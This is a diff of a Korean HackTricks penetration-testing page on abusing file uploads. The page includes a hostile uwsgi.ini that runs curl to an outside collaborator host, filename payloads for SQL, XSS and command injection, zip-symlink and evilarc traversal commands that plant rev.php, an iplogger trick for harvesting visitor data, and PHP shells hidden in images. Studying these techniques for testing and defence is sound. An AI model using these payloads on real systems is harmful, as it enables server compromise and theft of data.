* 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾아보세요. * 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾아보세요.
* **가능한 정보 누**: * **가능한 정보 누**:
1. **동일한 이름**의 **동일한 파일**을 **여러 번** (동시에) 업로드하세요. 1. **동일한 파일**을 **동일한 이름**으로 **여러 번** (동시에) 업로드하세요.
2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**을 가진 파일을 업로드하세요. 2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**으로 파일을 업로드하세요.
3. **“.”, “..”, 또는 “…”**를 이름으로 하는 파일을 업로드하세요. 예를 들어, Apache의 **Windows**에서, 응용 프로그램이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다. 3. 파일을 **“.”, “..”, 또는 “…”**로 이름을 지정하여 업로드하세요. 예를 들어, Apache의 **Windows**에서, 응용 프로그램이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 **“…:.jpg”**와 같이 쉽게 삭제되지 않을 수 있는 파일을 업로드하세요. (Windows) 4. **NTFS**에서 **“…:.jpg”**와 같이 쉽게 삭제되지 않을 수 있는 파일을 업로드하세요. (Windows)
5. 이름에 `|<>*?”`와 같은 **유효하지 않은 문자**가 포함된 파일을 **Windows**에 업로드하세요. (Windows) 5. 이름에 `|<>*?”`와 같은 **유효하지 않은 문자**가 포함된 파일을 **Windows**에 업로드하세요. (Windows)
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 및 LPT9와 같이 **예약된** (**금지된**) **이름**을 가진 파일을 **Windows**에 업로드하세요. 6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 및 LPT9와 같이 **예약된** (**금지된**) **이름**을 사용하여 **Windows**에 파일을 업로드하세요.
* **실행 가능한** (.exe) 또는 **.html** (의심을 적게 받는) 파일을 업로드하여 피해자가 실수로 열었을 때 **코드를 실행**해보세요. * **실행 가능한** (.exe) 또는 **.html** (의심을 적게 받는) 파일을 업로드하여 피해자가 실수로 열었을 때 코드를 **실행**하도록 시도하세요.
### 특별한 확장자 트릭 ### 특별한 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [**.htaccess** 트릭을 사용하여 코드를 실행하는 방법을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ **PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [**.config** 트릭을 사용하여 코드를 실행하는 방법을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). **ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 java의 `.jar`와 유사하지만 php용이며, php로 실행하거나 스크립트 내에서 포함하여 **사용할 수 있습니다**. `.phar` 파일은 java의 `.jar`와 유사하지만 php용이며, php로 실행하거나 스크립트 내에서 포함시킬 수 있습니다.
`.inc` 확장자는 종종 파일을 **가져오기 위해 사용되는 php 파일**에 사용되므로, 언젠가 **이 확장자가 실행되도록 허용**할 수 있습니다. `.inc` 확장자는 종종 파일을 **가져오기** 위해 사용되는 php 파일에 사용되며, 언젠가는 **이 확장자를 실행할 수 있도록** 허용된 경우가 있을 수 있습니다.
## **Jetty RCE** ## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면 [**새로운 \*.xml 및 \*.war가 자동으로 처리**되므니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 쉘을 기대하세요! Jetty 서버에 XML 파일을 업로드할 수 있다면 [**새로운 \*.xml 및 \*.war가 자동으로 처리**되므로 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에 나와 있는대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 쉘을 기대하세요!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
@ -109,7 +123,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면 [**새로운 \*.xml 및
이 취약점에 대한 자세한 탐구를 위해 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). 이 취약점에 대한 자세한 탐구를 위해 원본 연구를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행 (RCE) 취약점은 uWSGI 서버에서 `.ini` 구성 파일을 수정할 수 있는 경우에만 악용할 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 통합하기 위해 특정 구문을 활용합니다. 특히 '@' 연산자인 `@(filename)`는 파일의 내용을 포함하기 위해 설계되었습니다. uWSGI에서 지원하는 다양한 스키마 중에서 "exec" 스키마는 특히 강력하며, 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기와 같은 악의적인 목적으로 조작될 수 있습니다. 원격 명령 실행 (RCE) 취약점은 uWSGI 서버에서 `.ini` 구성 파일을 수정할 수 있는 경우에 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 통합하기 위해 특정 구문을 활용합니다. 특히 '@' 연산자인 `@(filename)`는 파일의 내용을 포함하기 위해 설계되었습니다. uWSGI에서 지원하는 다양한 스키마 중에서 "exec" 스키마는 특히 강력하며, 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기와 같은 악의적인 목적으로 조작될 수 있습니다.
다음은 다양한 스키마를 보여주는 해로운 `uwsgi.ini` 파일의 예시입니다: 다음은 다양한 스키마를 보여주는 해로운 `uwsgi.ini` 파일의 예시입니다:
```ini ```ini
@ -129,13 +143,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
페이로드의 실행은 구성 파일을 구문 분석하는 동안 발생합니다. 구성이 활성화되고 구문 분석되려면 uWSGI 프로세스를 다시 시작해야 합니다(충돌 후 또는 서비스 거부 공격으로 인한 재시작)하거나 파일을 자동으로 다시로드하도록 설정해야 합니다. 자동 다시로드 기능이 활성화된 경우 변경 사항을 감지하면 지정된 간격으로 파일을 다시로드합니다. 페이로드의 실행은 구성 파일을 구문 분석하는 동안 발생합니다. 구성이 활성화되고 구문 분석되려면 uWSGI 프로세스를 다시 시작해야 합니다(충돌 후 또는 서비스 거부 공격으로 인한 재시작) 또는 파일을 자동으로 다시로드해야 합니다. 자동 다시로드 기능이 활성화된 경우 변경 사항을 감지하면 지정된 간격으로 파일을 다시로드합니다.
uWSGI의 구성 파일 구문 분석의 관대한 성격을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 바이너리 파일(예: 이미지 또는 PDF)에 삽입될 수 있으며 잠재적인 악용 범위를 더욱 확대시킬 수 있습니다. uWSGI의 구성 파일 구문 분석의 관대한 성격을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 바이너리 파일(예: 이미지 또는 PDF)에 삽입될 수 있으며 잠재적인 악용 범위를 더욱 확대시니다.
## **wget 파일 업로드/SSRF 트릭** ## **wget 파일 업로드/SSRF 트릭**
가끔 서버가 **`wget`**를 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우 코드는 다운로드된 파일의 확장자가 허용 목록 내에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 확인을 우회할 수 있습니다.**\ 가끔 서버가 **`wget`**를 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있다는 것을 발견할 수 있습니다. 이러한 경우 코드는 다운로드된 파일의 확장자가 허용 목록 내에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 확인을 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**이지만 **wget**는 파일 이름을 **236**자로 줄입니다. "A"\*232+".php"+".gif"라는 파일을 다운로드할 수 있습니다. 이 파일 이름은 **확인을 우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`는 파일을 **"A"\*232+".php"**로 **이름을 바꿀 것**입니다. **리눅스**에서 **파일 이름**의 **최대** 길이는 **255**이지만 **wget**는 파일 이름을 **236**자로 줄입니다. "A"\*232+".php"+".gif"라는 파일을 다운로드할 수 있습니다. 이 파일 이름은 **확인을 우회**할 것입니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`는 파일을 **"A"\*232+".php"**로 **이름을 바꿀 것**입니다.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
@ -159,27 +173,27 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
**다른 옵션**으로 이 체크를 우회할 수 있는 방법은 **HTTP 서버가 다른 파일로 리디렉션하도록** 만드는 것입니다. 따라서 초기 URL은 체크를 우회하게 되고 wget은 새 이름으로 리디렉트된 파일을 다운로드할 것입니다. 이 방법은 **wget이 `--trust-server-names` 매개변수와 함께 사용될 때만 작동**하며, 그렇지 않으면 wget은 리디렉트된 페이지를 원래 URL에 표시된 파일 이름으로 다운로드할 것입니다. **다른 옵션**으로 이 체크를 우회할 수 있는 것을 고려 중일 수도 있는데, **HTTP 서버가 다른 파일로 리디렉션하도록** 만들어 초기 URL이 체크를 우회하게 하고 wget이 새 이름으로 리디렉션된 파일을 다운로드하도록 할 수 있습니다. 이 방법은 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않을 것**입니다. 왜냐하면 **wget은 리디렉션된 페이지를 초기 URL에 표시된 파일 이름으로 다운로드할 것**이기 때문입니다.
## 도구 ## 도구
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass)는 파일 업로드 메커니즘을 테스트하는 데 도움을 주기 위해 설계된 강력한 도구로, 다양한 버그 바운티 기술을 활용하여 웹 애플리케이션의 취약점을 식별하고 악용하는 프로세스를 간소화하여 웹 애플리케이션의 철저한 평가를 보장합니다. * [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass)는 파일 업로드 메커니즘을 테스트하는 데 도움을 주기 위해 설계된 강력한 도구입니다. 다양한 버그 바운티 기술을 활용하여 취약점을 식별하고 악용하는 프로세스를 간소화하여 웹 애플리케이션의 철저한 평가를 보장합니다.
## 파일 업로드에서 다른 취약점으로 ## 파일 업로드에서 다른 취약점으로
* **파일 이름**을 `../../../tmp/lol.png`로 설정하고 **경로 이탈**을 시도해보세요. * **파일 이름**을 `../../../tmp/lol.png`로 설정하고 **경로 이탈**을 시도해보세요.
* **파일 이름**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다. * **파일 이름**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다.
* **파일 이름**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성하세요. * **파일 이름**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성하세요.
* **파일 이름**을 `; sleep 10;`로 설정하여 몇 가지 몤려 삽입을 테스트하세요(더 많은 [명령 삽입 트릭은 여기에서 확인하세요](../command-injection.md)). * **파일 이름**을 `; sleep 10;`로 설정하여 명령 인젝션을 테스트하세요(더 많은 [명령 인젝션 트릭은 여기에서 확인하세요](../command-injection.md)).
* [이미지(XSS) 파일 업로드에서의 **XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg) * [이미지(svg) 파일 업로드에서의 **XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/#xss-abusing-service-workers) * **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [SVG 업로드에서의 **XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [svg 업로드에서의 **XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* SVG 파일 업로드를 통한 [**오픈 리디렉트**](../open-redirect.md#open-redirect-uploading-svg-files) * svg 파일 업로드를 통한 [**오픈 리다이렉트**](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드** 시도해보세요. * [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg payload** 시도해보세요.
* 유명한 **ImageTrick** 취약점(https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * 유명한 **ImageTrick** 취약점(https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* 웹 서버에 이미지를 URL에서 가져오도록 지시할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/)를 악용해볼 수 있습니다. 이 **이미지**가 **공개** 사이트에 **저장**될 것이라면, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 탈취**할 수도 있습니다. * 웹 서버에 이미지를 URL에서 가져오도록 지시할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/)를 악용해볼 수 있습니다. 이 **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 탈취**할 수도 있습니다.
* [PDF-Adobe 업로드로 **XXE CORS** 우회](pdf-upload-xxe-and-cors-bypass.md) * [PDF-Adobe 업로드로 **XXE CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
* 특별히 제작된 PDF를 통한 XSS: [다음 페이지에서는 **PDF 데이터를 삽입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침을 따라 임의의 JS를 실행할 수 있는 PDF를 준비할 수 있습니다. * 특별히 제작된 PDF를 통한 XSS: [다음 페이지에서는 **PDF 데이터를 삽입하여 JS 실행을 얻는 방법**](../xss-cross-site-scripting/pdf-injection.md)을 제시합니다. PDF를 업로드할 수 있다면 주어진 지침을 따라 임의의 JS를 실행할 수 있는 PDF를 준비할 수 있습니다.
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인하세요. * \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인하세요.
* 파일 업로드 시 **크기 제한**이 있는지 확인하세요. * 파일 업로드 시 **크기 제한**이 있는지 확인하세요.
@ -191,7 +205,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
4. **CSV**: CSV 인젝션 4. **CSV**: CSV 인젝션
5. **XML**: XXE 5. **XML**: XXE
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML 인젝션 / XSS / 오픈 리렉트 7. **HTML / JS** : HTML 인젝션 / XSS / 오픈 리다이렉트
8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS) 8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS)
9. **ZIP**: LFI를 통한 RCE / DoS 9. **ZIP**: LFI를 통한 RCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
@ -207,9 +221,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
다른 파일 유형에 대한 정보는 [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures)를 참조하세요. 다른 파일 유형에 대한 정보는 [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures)를 참조하세요.
### 자동으로 압축 해제된 Zip/Tar 파일 업로드 ### Zip/Tar 파일 자동으로 압축 해제 업로드
서버 내에서 압축 해제될 ZIP 파일을 업로드할 수 있다면 다음 두 가지를 수행할 수 있습니다: 서버 내에서 압축 해제될 ZIP 파일을 업로드할 수 있다면 2가지 작업을 수행할 수 있습니다:
#### 심볼릭 링크 #### 심볼릭 링크
@ -219,11 +233,11 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### 다른 폴더에 압축 풀기 ### 다른 폴더에 압축 풀기
압축 해제 중 디렉토리에 파일이 예상치 못하게 생성되는 것은 중요한 문제입니다. 악의적 파일 업로드를 통한 OS 수준 명령 실행을 방지할 수 있을 것으로 초기에 가정했지만, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 이동 기능을 악용할 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 안전한 업로드 디렉토리를 탈출할 수 있습니다. 압축 해제 중 디렉토리에 파일이 예상치 못하게 생성되는 것은 중요한 문제입니다. 악의적 파일 업로드를 통한 OS 수준 명령 실행을 방지할 것으로 예상되었지만, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 이동 기능을 악용할 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 안전한 업로드 디렉토리를 탈출할 수 있습니다.
해당 파일을 생성하기 위한 자동화된 exploit은 [**GitHub의 evilarc**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 이 유틸리티는 다음과 같이 사용할 수 있습니다: 이러한 파일을 생성하기 위한 자동화된 exploit은 [**GitHub의 evilarc**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 이 유틸리티는 다음과 같이 사용할 수 있습니다:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
@ -232,7 +246,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
또한 **evilarc와 심볼릭 링크 트릭**이 옵션으로 사용될 수 있습니다. `/flag.txt`와 같은 파일을 대상으로 하는 경우 시스템에 해당 파일에 대한 심볼릭 링크를 만들어야 합니다. 이렇게 하면 evilarc가 작동 중에 오류를 만나지 않도록 할 수 있습니다. 또한 **evilarc와 심볼릭 링크 트릭**이 옵션으로 사용될 수 있습니다. `/flag.txt`와 같은 파일을 대상으로 하는 경우 시스템에 해당 파일에 대한 심볼릭 링크를 만들어야 합니다. 이렇게 하면 evilarc가 작동 중에 오류를 만나지 않도록 할 수 있습니다.
아래는 악의적인 zip 파일을 만드는 데 사용되는 Python 코드의 예시입니다: 아래는 악의적인 zip 파일을 만드는 데 사용 Python 코드의 예시입니다:
```python ```python
#!/usr/bin/python #!/usr/bin/python
import zipfile import zipfile
@ -288,19 +302,19 @@ pop graphic-context
``` ```
## PNG에 PHP 셸 임베딩 ## PNG에 PHP 셸 임베딩
PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 이미지 크기 조정 및 재샘플링에 일반적으로 사용되므로 이러한 컨텍스트에서 특히 관련이 있습니다. 임베딩된 PHP 셸이 이러한 작업에 영향을 받지 않고 유지되는 능력은 특정 사용 사례에 대한 중요한 장점입니다. PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 이미지 크기 조정 및 재샘플링에 일반적으로 사용되므로 이러한 작업과 관련이 깊습니다. 임베드된 PHP 셸이 이러한 작업에 영향을 받지 않고 유지되는 능력은 특정 사용 사례에 대한 중요한 장점입니다.
이 기술에 대한 자세한 탐구와 방법론 및 잠재적인 응용 프로그램에 대한 정보는 다음 기사에서 제공됩니다: ["PNG IDAT 청크에 웹 셸 인코딩"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 이 프로세스와 그 영향에 대한 포괄적인 이해를 제공합니다. 이 기술에 대한 자세한 탐구는 다음 기사에서 제공됩니다: ["PNG IDAT 청크에 웹 셸 인코딩하기"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 이 프로세스와 그 영향에 대한 포괄적인 이해를 제공합니다.
더 많은 정보: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) 더 많은 정보: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot 파일 ## Polyglot 파일
Polyglot 파일은 사이버 보안에서 독특한 도구로 작용하여 여러 파일 형식에서 유효하게 존재할 수 있는 카멜레온으로 작용합니다. 흥미로운 예로 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며 GIF 및 RAR 아카이브로 모두 작동합니다. 이러한 파일은 이러한 조합에 제한되지 않으며 GIF 및 JS 또는 PPT 및 JS와 같은 조합도 가능합니다. Polyglot 파일은 사이버 보안에서 독특한 도구로 작용하여 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온으로 작용합니다. 흥미로운 예로 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며 GIF 및 RAR 아카이브로 모두 작동합니다. 이러한 파일은 이러한 조합에 제한되지 않으며, GIF 및 JS 또는 PPT 및 JS와 같은 조합도 가능합니다.
Polyglot 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스크린하는 보안 조치를 우회하는 능력에 있습니다. 다양한 응용 프로그램에서의 일반적인 실천은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드 허용하는 것인데, 잠재적으로 해로운 형식(JS, PHP 또는 Phar 파일 등)에 의한 위험을 완화하기 위한 것입니다. 그러나 다중 파일 유형의 구조적 기준을 준수함으로써 Polyglot은 이러한 제한을 은밀하게 우회할 수 있습니다. Polyglot 파일의 핵심 유틸리티는 파일 유형에 기반한 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 응용 프로그램에서의 일반적인 실천은 잠재적으로 유해한 형식(JS, PHP 또는 Phar 파일 등)에 대한 위험을 완화하기 위해 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드 허용하는 것입니다. 그러나 다중 파일 유형의 구조적 기준을 준수함으로써 Polyglot은 이러한 제한을 은밀하게 우회할 수 있습니다.
적응성이 있지만 Polyglot은 제한을 만날 수 있습니다. 예를 들어, Polyglot이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 구현할 수 있지만 업로드의 성공은 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 엄격하다면 Polyglot의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없을 수 있습니다. 적응성이 있지만 Polyglot은 제한을 만날 수 있습니다. 예를 들어, Polyglot이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 구현할 수 있더라도 업로드의 성공은 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 엄격하게 준수하는 경우, Polyglot의 구조적 이중성만으로는 업로드를 보장할 수 없을 수 있습니다.
더 많은 정보: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) 더 많은 정보: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -313,22 +327,22 @@ Polyglot 파일의 핵심 유틸리티는 파일 유형에 따라 파일을 스
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 글쓰기와 말하기 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. * **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
